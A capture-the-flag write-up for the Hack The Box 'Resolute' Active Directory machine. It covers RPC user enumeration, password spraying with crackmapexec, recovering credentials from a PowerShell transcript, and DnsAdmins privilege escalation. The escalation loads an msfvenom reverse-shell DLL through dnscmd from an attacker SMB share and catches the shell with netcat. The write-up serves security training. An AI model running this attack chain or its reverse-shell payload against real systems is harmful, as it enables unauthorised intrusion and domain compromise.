


Resolute



Reconnaissance & Scanning

Port Scanning

```
# nmap -n -sS -Pn -p- --min-rate 5000 -oN ports 10.129.96.155
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-27 08:04 EDT
Nmap scan report for 10.129.96.155
Host is up (0.11s latency).
Not shown: 65512 closed tcp ports (reset)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
389/tcp    open  ldap
445/tcp    open  microsoft-ds
464/tcp    open  kpasswd5
593/tcp    open  http-rpc-epmap
636/tcp    open  ldapssl
3268/tcp   open  globalcatLDAP
3269/tcp   open  globalcatLDAPssl
5985/tcp   open  wsman
9389/tcp   open  adws
47001/tcp  open  winrm
49664/tcp  open  unknown
49665/tcp  open  unknown
49666/tcp  open  unknown
49667/tcp  open  unknown
49671/tcp  open  unknown
49676/tcp  open  unknown
49677/tcp  open  unknown
49686/tcp  open  unknown
49785/tcp  open  unknown
```

Version and Default scripts scan

```
# nmap -sCV -T4 -oN version 10.129.96.155 -p
53,88,135,139,389,4445,464,593,636,3268,3269,5985,9389,47001
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-27 08:06 EDT
Nmap scan report for 10.129.96.155
Host is up (0.11s latency).
```

PORT	STATE	SERVICE	VERSION
53/tcp	open	domain	Simple DNS Plus
88/tcp	open	kerberos-sec	Microsoft Windows Kerberos (server time: 2023-08-27 12:13:35Z)
135/tcp	open	msrpc	Microsoft Windows RPC
139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
389/tcp	open	ldap	Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp	open	microsof0	Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)

Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

```
|_clock-skew: mean: 2h27m03s, deviation: 4h02m32s, median: 7m01s
| smb2-time:
|   date: 2023-08-27T12:15:59
|_  start_date: 2023-08-27T12:06:02
| smb-os-discovery:
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Resolute
|   NetBIOS computer name: RESOLUTE\x00
|   Domain name: megabank.local
|   Forest name: megabank.local
|   FQDN: Resolute.megabank.local
|_  System time: 2023-08-27T05:16:02-07:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb2-security-mode:
|   3:1:1:
|_   Message signing enabled and required
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http  Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp  open  ldap        Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
4445/tcp  closed upnotifyp
5985/tcp  open  http        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf      .NET Message Framing
```

```
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
```

Host script results:

```
|_smb2-time: ERROR: Script execution failed (use -d to debug)
|_smb2-security-mode: SMB: Couldn't find a NetBIOS name that works for the server. Sorry!
```

Vulnerability assessment & Exploitation

With the scans we found the domain is `megabank.local`. Add it to `/etc/hosts`

```
127.0.0.1      localhost
127.0.1.1      kali.kali      kali

# The following lines are desirable for IPv6 capable hosts
::1          localhost ip6-localhost ip6-loopback
ff02::1      ip6-allnodes
ff02::2      ip6-allrouters

10.129.96.155 megabank.local
```

In AD I always start enumerating the SMB port without credentials using `smbmap` and `smbclient`

```
# smbmap -H 10.129.96.155 -u guest -p ''
[!] Authentication error on 10.129.96.155

# smbmap -H 10.129.96.155
[+] IP: 10.129.96.155:445      Name: megabank.local

# smbclient -N -L //10.129.96.155/
Anonymous login successful

      Sharename      Type      Comment
      -
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.96.155 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

We can login without creds, but we cannot check anything. So I will try with `rpcclient`.

```
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[ryan] rid:[0x451]
```

```
user:[marko] rid:[0x457]
user:[sunita] rid:[0x19c9]
user:[abigail] rid:[0x19ca]
user:[marcus] rid:[0x19cb]
user:[sally] rid:[0x19cc]
user:[fred] rid:[0x19cd]
user:[angela] rid:[0x19ce]
user:[felicia] rid:[0x19cf]
user:[gustavo] rid:[0x19d0]
user:[ulf] rid:[0x19d1]
user:[stevie] rid:[0x19d2]
user:[claire] rid:[0x19d3]
user:[paulo] rid:[0x19d4]
user:[steve] rid:[0x19d5]
user:[annette] rid:[0x19d6]
user:[annika] rid:[0x19d7]
user:[per] rid:[0x19d8]
user:[claudie] rid:[0x19d9]
user:[melanie] rid:[0x2775]
user:[zach] rid:[0x2776]
user:[simon] rid:[0x2777]
user:[naoki] rid:[0x2778]
```

Enumerating users I found the credentials for the user marko.

```
rpcclient $> queryuser 0x457
User Name      : marko
Full Name      : Marko Novak
Home Drive     :
Dir Drive      :
Profile Path    :
Logon Script    :
Description    : Account created. Password set to Welcome123!
Workstations    :
Comment        :
Remote Dial     :
Logon Time      :      Wed, 31 Dec 1969 19:00:00 EST
Logoff Time     :      Wed, 31 Dec 1969 19:00:00 EST
Kickoff Time    :      Wed, 13 Sep 30828 22:48:05 EDT
Password last set Time :      Fri, 27 Sep 2019 09:17:15 EDT
Password can change Time :      Sat, 28 Sep 2019 09:17:15 EDT
Password must change Time:      Wed, 13 Sep 30828 22:48:05 EDT
unknown_2[0..31]...
user_rid       :      0x457
group_rid      :      0x201
acb_info       :      0x00000210
fields_present :      0x00ffffff
logon_divs     :      168
bad_password_count:      0x00000000
logon_count    :      0x00000000
padding1[0..7]...
logon_hrs[0..21]...
rpcclient $>
```

I tried connecting to rpcclient, smb and winrm but no luck with that credentials. As last hope I tried password spraying and I found the credentials for melanie.

```
# crackmapexec winrm megabank.local -u usernames -p 'Welcome123!' --continue-on-success
SMB          megabank.local 5985  RESOLUTE      [*] Windows 10.0 Build 14393
(name:RESOLUTE) (domain:megabank.local)
HTTP         megabank.local 5985  RESOLUTE      [*] http://megabank.local:5985/wsman
WINRM        megabank.local 5985  RESOLUTE      [-]
megabank.local\administrator>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\guest>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\krbtgt>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-]
megabank.local\DefaultAccount>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\ryan>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\marko>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\sunita>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\abigail>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\marcus>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\sally>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\fred>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\angela>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\felicia>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\gustavo>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\ulf>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\stevie>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\claire>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\paulo>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\steve>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\annette>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\annika>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\per>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\claudie>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [+] megabank.local\melanie>Welcome123!
(Pwn3d!)
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\zach>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\simon>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\naoki>Welcome123!
WINRM        megabank.local 5985  RESOLUTE      [-] megabank.local\>Welcome123!
```

I logged in with `evil-winrm` and the `user.txt` is in the desktop.

Privilege Escalation

If we check in `C:\` we will find a directory called `PSTranscripts`.

```
*Evil-WinRM* PS C:\> get-childitem -force
```

```
Directory: C:\
```

Mode	LastWriteTime	Length	Name
------	---------------	--------	------

Mode	LastWriteTime	Length	Name
d--hs-	12/3/2019 6:40 AM		\$RECYCLE.BIN
d--hsl	9/25/2019 10:17 AM		Documents and Settings
d-----	9/25/2019 6:19 AM		PerfLogs
d-r---	9/25/2019 12:39 PM		Program Files
d-----	11/20/2016 6:36 PM		Program Files (x86)
d--h--	9/25/2019 10:48 AM		ProgramData
d--h--	12/3/2019 6:32 AM		PSTranscripts
d--hs-	9/25/2019 10:17 AM		Recovery
d--hs-	9/25/2019 6:25 AM		System Volume Information
d-r---	12/4/2019 2:46 AM		Users
d-----	12/4/2019 5:15 AM		Windows
-arhs-	11/20/2016 5:59 PM	389408	bootmgr
-a-hs-	7/16/2016 6:10 AM	1	BOOTNXT
-a-hs-	8/28/2023 4:02 AM	402653184	pagefile.sys

If we check the directory we will find a .txt file.

```
*Evil-WinRM* PS C:\> get-childitem C:\PSTranscripts -force -recurse
```

Directory: C:\PSTranscripts

Mode	LastWriteTime	Length	Name
d--h--	12/3/2019 6:45 AM		20191203

Directory: C:\PSTranscripts\20191203

Mode	LastWriteTime	Length	Name
-arh--	12/3/2019 6:45 AM	3732	
			PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

I opened the file and I discovered the credentials for the user ryan.

```
*Evil-WinRM* PS C:\PSTranscripts\20191203> get-content
PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
....
PS>CommandInvocation(Invoke-Expression): "Invoke-Expression"
>> ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X:
\\fs01\backups ryan Serv3r4Admin4cc123!
....
```

We can enumerate the user to check it.

```
*Evil-WinRM* PS C:\> net user ryan
User name                ryan
Full Name                Ryan Bertrand
Comment
User's comment
Country/region code      000 (System Default)
Account active           Yes
Account expires          Never

Password last set        8/28/2023 4:54:01 AM
Password expires         Never
Password changeable      8/29/2023 4:54:01 AM
Password required        Yes
User may change password Yes

Workstations allowed     All
Logon script
User profile
Home directory
Last logon               Never

Logon hours allowed      All

Local Group Memberships
Global Group memberships *Domain Users      *Contractors
The command completed successfully.
```

I did password spraying to smb and winrm to check if I had access with that password to any other user.

```
# crackmapexec winrm megabank.local -u usernames -p 'Serv3r4Admin4cc123!' --continue-on-
success | grep +
WINRM      megabank.local  5985    RESOLUTE      [+]
megabank.local\ryan:Serv3r4Admin4cc123! (Pwn3d!)

# crackmapexec smb megabank.local -u usernames -p 'Serv3r4Admin4cc123!' --continue-on-
success | grep +
WINRM      megabank.local  5985    RESOLUTE      [+]
megabank.local\ryan:Serv3r4Admin4cc123! (Pwn3d!)
```

We will login as ryan with `evil-winrm`

```
# evil-winrm -i megabank.local -u ryan -p 'Serv3r4Admin4cc123!'
```

In the desktop we find `note.txt` with the following content:

```
*Evil-WinRM* PS C:\Users\ryan\desktop> get-content note.txt
Email to team:
```

- due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute

Checking the groups of the user I found 2 interesting groups.

```
*Evil-WinRM* PS C:\Users\ryan\desktop> whoami /groups

GROUP INFORMATION
-----
Group Name                                     Type                SID                                     Attributes
-----
Everyone                                     Well-known group    S-1-1-0                               Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias               S-1-5-32-545                          Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias               S-1-5-32-554                          Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias               S-1-5-32-580                          Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group    S-1-5-2                               Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group    S-1-5-11                              Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization               Well-known group    S-1-5-15                              Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors                        Group               S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins                          Alias               S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication             Well-known group    S-1-5-64-10                           Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level      Label               S-1-16-8192
```

I found this [blog](#) about the privilege escalation with the group DnsAdmins. The attack vector consists of injecting a malicious DLL into the DNS process running as a System to escalate when the service restarts.

I will use msfvenom to create the payload. (Generating the dll with msfvenom will crash the DNS server. This is fine for a CTF, but for a real pentest this would be very bad.)

```
# msfvenom -p windows/x64/shell_reverse_tcp lhost=10.10.14.127 lport=443 -f dll -o shell.dll
```

The defender blocks uploading the file, so we will use a share and run the command from there.

Start a smbserver.

```
# smbserver share /home/shockp/htb/exploit -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

dnscmd is a tool which allows DNS admins to manage the DNS server

```
*Evil-WinRM* PS C:\Users\ryan\desktop> dnscmd 127.0.0.1 /config /serverlevelplugindll
\\10.10.14.127\share\shell.dll
```

```
Registry property serverlevelplugindll successfully reset.
Command completed successfully.
```

restart the dns server

```
*Evil-WinRM* PS C:\Users\ryan\desktop> sc.exe stop dns
*Evil-WinRM* PS C:\Users\ryan\desktop> sc.exe start dns
```


We get the response from the smb server first and then we get the shell.

```
[*] User RESOLUTE\RESOLUTE$ authenticated successfully
[*]
RESOLUTE$: :MEGABANK:aaaaaaaaaaaaaaaa:8aa68c0876df8bb89adccb4cd2dcd49f:0101000000000000804c11
5eaa9d901c230eb562f2082270000000001001000700077006c004c00550056006500480003001000700077006c
004c005500560065004800020010006d00720072004d004200730043004a00040010006d00720072004d00420073
0043004a0007000800804c115eaa9d90106000400020000000080030003000000000000000000000000000000000
261261133c1779d7d2290bfd90cacbb97fdd1dec6ccfd0ed658e31f63de4e60a001000000000000000000000000
0000000000900220063006900660073002f00310030002e00310030002e00310034002e00310032003700000000
0000000000
```

```
# nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.127] from (UNKNOWN) [10.129.96.155] 51352
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```